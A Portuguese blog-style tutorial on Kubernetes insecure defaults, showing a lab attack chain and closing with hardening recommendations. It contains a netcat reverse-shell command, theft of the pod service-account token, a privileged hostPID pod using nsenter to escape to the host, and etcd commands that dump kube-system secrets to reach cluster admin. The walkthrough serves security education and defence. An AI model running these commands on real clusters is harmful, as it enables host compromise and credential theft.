Kubernetes é seguro por default ou à prova de má configuração?
Quando pensamos em serviços em container rodando em um cluster Kubernetes, uma das primeiras coisas que nos vem a mente são suas vantagens e é quase impossível não pensar no isolamento dos recursos e granularidade de acesso providos por ele. Mas será que realmente é assim na pratica, tudo pronto por padrão?
Atualmente muitas das plataforma de cloud oferecem um serviço de Kubernetes, sendo ele gerenciado ou não. Um serviço gerenciado consiste na cloud gerenciando os masters e você somente se preocupa com sua aplicação dentro da plataforma.
Isso tornou muito fácil a adesão na plataforma para alguns, entretanto existem algumas preocupações e ações que dependem de você para manter o ambiente seguro.
Para contextualizar, vamos ver um pouco da arquitetura da plataforma:
- Pod
- Deployment
- Services
- Namespaces
- Nodes
Aqui temos uma visão geral da arquitetura do Kubernetes:
Pods:
Pod, na hierarquia do Kubernetes, é a menor entidade. “Dentro” de um pod é onde temos os containers. Um pod pode possuir um ou mais containers. Os containers dentro de um pod compartilham o mesmo IP.
Nodes:
- Node ou nó são uma máquina no Kubernetes. Um nó pode ser uma máquina virtual ou física, dependendo do cluster, com suas responsabilidades master ou worker. O nó master é responsável pelo control plane.
- Cada nó contém os serviços necessários para executar pods e é gerenciado pelos masters. Os serviços em um nó incluem o container-runtime, kubelet e kube-proxy.
Services:
O Kubernetes fornece aos Pods seus próprios endereços IP e um único nome DNS para um conjunto de Pods e balancear a carga entre eles.
Namespaces:
São clusters virtuais dentro do mesmo cluster físico. Os namespaces possibilitam a separação e isolamento de recursos.
Vetores inicias
Comprometer uma aplicação exposta para internet é um dos principais vetores de ataque pra um cluster Kubernetes e o primeiro passo para adentrar no cluster, outro ponto comum é os recursos do Kuberntes expostos para internet sem nenhum tipo de autenticação.
Comprometer apenas um pod pode ter serias consequências como:
- Interagir com outros pods.
- Interagir com com o API server.
- Obter as secrets e configs maps utilizados no pod além da serviceaccount.
- Enumerar o dns interno do cluster para descobrir outros serviços.
- Interagir com o ETCD para comprometer as configurações do cluster.
- Escalar privilégios do container para o S.O principal
Então vamos a pratica!
Analisaremos o seguinte cenário: possuímos uma aplicação web vulnerável na qual conseguimos executar comandos arbitrários, conseguindo fazer uma shell reversa. Não abordaremos a exploração da falha que proporcionou a execução de comandos.
Um simples exemplo de shell reversa usando bash e netcat:
App:
netcat 192.168.64.1 1234 -e /bin/bashHost que irá receber a shell:
netcat -l -p 1234 -v
Agora que temos acesso que ao shell vamos iniciar o processo de reconhecimento do ambiente, tentando identificar onde e o que estamos rodando.
Primeiro identificarmos com qual usuário estamos logados:
id
A aplicação está rodando com o usuário appuser, então vamos ver quais processos estão em execução.
ps aux
Existe um número muito baixo de processos. Ter poucos processos é o primeiro indicativo que a aplicação é em um container. Por default um container roda com o usuário root mas isso pode ser alterado.
Levantaremos informações sobre o release do S.O.
uname -a ; cat /etc/*-release
Aqui há informações como a linha da distribuição GNU/Linux e versão do Kernel. Com isso já pode se iniciar a busca por exploits para a versão de kernel e baseados na distro.
Continuando a busca, listaremos as variáveis de ambiente.
env
Bingo! Mais uma confirmação de que a aplicação é um container, pois encontramos algumas variáveis de ambiente que o Kubernetes disponibiliza dentro de um container. Além disso, também descobrimos o IP e porta do serviço do Kubernetes API e um serviço que possivelmente é um MySQL. Assim já conseguimos tentar interagir com os eles.
Antes de qualquer coisa, já assumindo que estamos em um cluster Kubernetes, é importante percebemos o que somos dentro do cluster. Conseguimos pegar essa informação baseado no nome do host:
cat /etc/hostname
Pelo padrão do nome conseguimos determinar que somos um pod, porque não encontramos a hierarquia de nomes de um deployment. Em um deployment o nome seguiria a seguinte padrão:
node-app-85425cc8bb-v28spnode-app = Nome do deployment
85425cc8bb = ID do ReplicaSet
v28sp = ID do Pod
Já que não fazemos parte de um deployment, é necessário ter cuidado para que nenhuma ação ocasione um erro ou trave o container. Isso levaria a estado de "error" ou "completed" e o Kubernetes não iria reinicia-lo por ser um pod, então perderíamos o acesso.
Vamos continuar o reconhecimento para termos certeza que estamos rodando em um container. Para isso vamos utilizar a ferramenta “amicontained”, pois com ela conseguimos uma serie de informações como:
- Container Runtime.
- Existência de namespace.
- Capabilities.
- Syscalls liberadas.
cd /tmp; curl -fSL "https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64" -o "amicontained" \
&& chmod a+x "amicontained" \
&& ./amicontained
Não temos acesso a nenhuma syscall e nenhuma capabilities especial, porém conseguimos confirmar que realmente somos um container.
Até agora já conseguimos acesso ao shell, descobrimos que somos um container e que possivelmente estamos dentro de um cluster Kubernetes.
O que já é possível fazer com isso ?
- Realizar o scan de rede procurado outros pods para tentar interagir.
- Interagir com com o API server do Kubernetes.
- Escalar privilégios do container para o S.O principal
- DoS da aplicação, utilizando como por exemplo o comando stress para gerar um auto uso de recursos, se não tiver com os limits definido pode chegar até a afetar o cluster.
Vamos um pouco mais a fundo agora com o foco no Kubernetes e ver o que conseguimos fazer.
Todo pod, deploy e rs possui uma serviceaccount e por padrão são executados com a conta default. Uma serviceaccount fornece uma identidade para processos executados em um pod e nela são atrelado as rules de permissão.
As chaves e certificados ficam em um volume montado no pod.
/var/run/secrets/kubernetes.io/serviceaccount
Para fazer um teste vamos pegar o valor do "token" do diretório a cima e fazer um teste com curl na api do Kubernetes. Primeiro vamos ver a versão do cluster e se conseguimos interagir com a API.
curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version
Agora que conseguimos acesso a API vamos pegar o "token" e fazer uma chamada na API.
ls /var/run/secrets/kubernetes.io/serviceaccountTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/api --header "Authorization: Bearer $TOKEN" --insecure
Já que conseguimos acesso a API com esse token vamos tentar listar alguns pods, de inicio vamos tentar listar no namespace default:
curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/api/v1/namespaces/default/pods/ --header "Authorization: Bearer $TOKEN" --insecure
Conseguimos listar os pods e isso é muito interessante. Para facilitar um pouco as coisas vamos baixar o kubectl para interagir com o cluster.
cd /tmp ; curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.18.0/bin/linux/amd64/kubectl ; chmod +x ./kubectl
Listaremos os pods com o kubectl.
Para testar nossos acessos vamos utilizar o "kubectl auth can-i"
Conseguimos criar pods, isso é tudo o que precisamos para continuar.
Agora vamos tentar escalar nosso privilegio sem utilizar nenhum exploit apenas conhecimento da ferramenta.
cd /tmp; cat > nginx.yml <<EOF
apiVersion: v1
kind: Pod
metadata:
labels:
run: nginx
name: nginx
spec:
containers:
- command:
- nsenter
- --mount=/proc/1/ns/mnt
- --
- /bin/bash
image: alpine
imagePullPolicy: IfNotPresent
name: "nginx"
securityContext:
privileged: true
stdin: true
tty: true
dnsPolicy: ClusterFirst
hostPID: true
EOF./kubectl apply -f nginx.yml
sleep 10
./kubectl get pods
./kubectl exec -it nginx -- bash
Pronto! Conseguimos acesso total a maquina (host) em que o container está rodando. Como podemos ver temos acesso a todos os processos, volumes e container rodando.
Explicando um pouco de como isso foi feito, vamos usar como base o yaml utilizado para criação de um pod:
hostPID: true
É responsável por compartilhar o process ID namespace do host com o container.
securityContext:
privileged: true
Isso nos concede ter acesso a todos devices no host, o que permite que o contêiner tenha quase o mesmo acesso que os processos em execução no host.
- command:
- nsenter
É um comando que possibilita a navegação e interação com namespaces
https://github.com/jpetazzo/nsenter
Ainda não satisfeito com o resultado, almejamos ser cluster admin.
Para isso vamos ver um pouco sobre o ETCD, o ETCD é um armazenamento baseado em chave-valor, leve e distribuído. Nele são armazenadas as configurações do Kubernetes.
Como vimos no "docker ps" que executamos anteriormente o ETCD é um container, vamos olhar suas configurações com "docker inspect". Nosso objetivo é encontrar os certificado e a ca utilizados na configuração.
Conseguimos encontrar as configurações de certificado utilizados no ETCD e como está com a flag" — cert-auth=true" vamos precisar deles para nos conectarmos.
Para executar o comando etcdctl vamos precisar passar o cacert, key e cert que descobrimos os diretórios anteriormente.
Então utilizando o etcdctl que está dentro do container do ETCD vamos listar as chaves procurar por secrets do namespace kube-system.
docker exec 01721be95dc3 etcdctl --endpoints=https://127.0.0.1:2379 --cacert=/var/lib/minikube/certs/etcd/ca.crt --key=/var/lib/minikube/certs/etcd/server.key --cert=/var/lib/minikube/certs/etcd/server.crt get / --prefix --keys-only | grep kube-system
Agora vamos pegar o valor da chave secrets/default-token-hrkt2
docker exec 01721be95dc3 etcdctl --endpoints=https://127.0.0.1:2379 --cacert=/var/lib/minikube/certs/etcd/ca.crt --key=/var/lib/minikube/certs/etcd/server.key --cert=/var/lib/minikube/certs/etcd/server.crt get /registry/secrets/kube-system/default-token-hrkt2
Agora vamos utilizar esse novo token que conseguimos exportando seu valor para $TOKEN e vamos fazer um teste com curl para testar nossos acessos.
Parece que possuímos acesso total na api, novamente baixaremos o kubectl para fazer alguns testes utilizando o "auth can-i" listando nossas permissões.
Realmente possuímos acesso total na api, conseguimos nosso acesso de cluster admin.
Conclusão
O Kubernetes é seguro por default ?
O Kubernetes foi projetado pensando em vários pontos de segurança, mas isso não significa que ao lançar sua aplicação você está seguro. Existem uma serie de precauções que devem ser tomadas para proteger um cluster, sendo algumas delas:
- Utilizar network policy para isolar os workloads, no exemplo abaixo somente os pods com a label "access:true" vão conseguir acesso ao pod myapp
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: access-myapp
spec:
podSelector:
matchLabels:
app: myapp
ingress:
- from:
- podSelector:
matchLabels:
access: "true"
- Alterar as network policy default para deny liberando só a saída para o kube-dns.
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny
namespace: default
spec:
podSelector: {}
egress:
- to:
- podSelector:
matchLabels:
k8s-app: kube-dns
- ports:
- protocol: UDP
port: 53
policyTypes:
- Ingress
- Egress
- Sempre utilizar RBAC e aproveitar de sua granularidade.
- API Server authorization
--authorization-mode=Node,RBAC
- Proteger o kubelet API.
--anonymous-auth=false
--authorization-mode=Webhook
- Remover as permissões da serviceaccount default.
- Sempre usar limits nos containers.
---
resources:
requests:
memory: "64Mi"
cpu: "250m"
limits:
memory: "128Mi"
cpu: "500m"
- Separar recursos por namespace.
- Não usar containers como root.
- Tentar utilizar PodSecurityPolicy.
- Utilizar autenticação no ETCD.
No cenário utilizado para esse estudo tudo foi possível devido a um erro de permissão RBAC que possibilitou a utilização de alguns recursos do Kubernetes para a exploração, se essas regras estivem de forma correta não permissivas e com algumas das recomendações a cima não seria possível nada além da execução de alguns comandos no container por uma falha na aplicação.
Referencias:
https://www.youtube.com/watch?v=2fmAuR3rnBo
Livros:
Container Security: Fundamental Technology Concepts that Protect Containerized Applications
Kubernetes Security Operating Kubernetes Clusters and Applications Safely
Images:
https://kubernetes.io/docs/concepts/overview/components/
Freepick/vectorpocket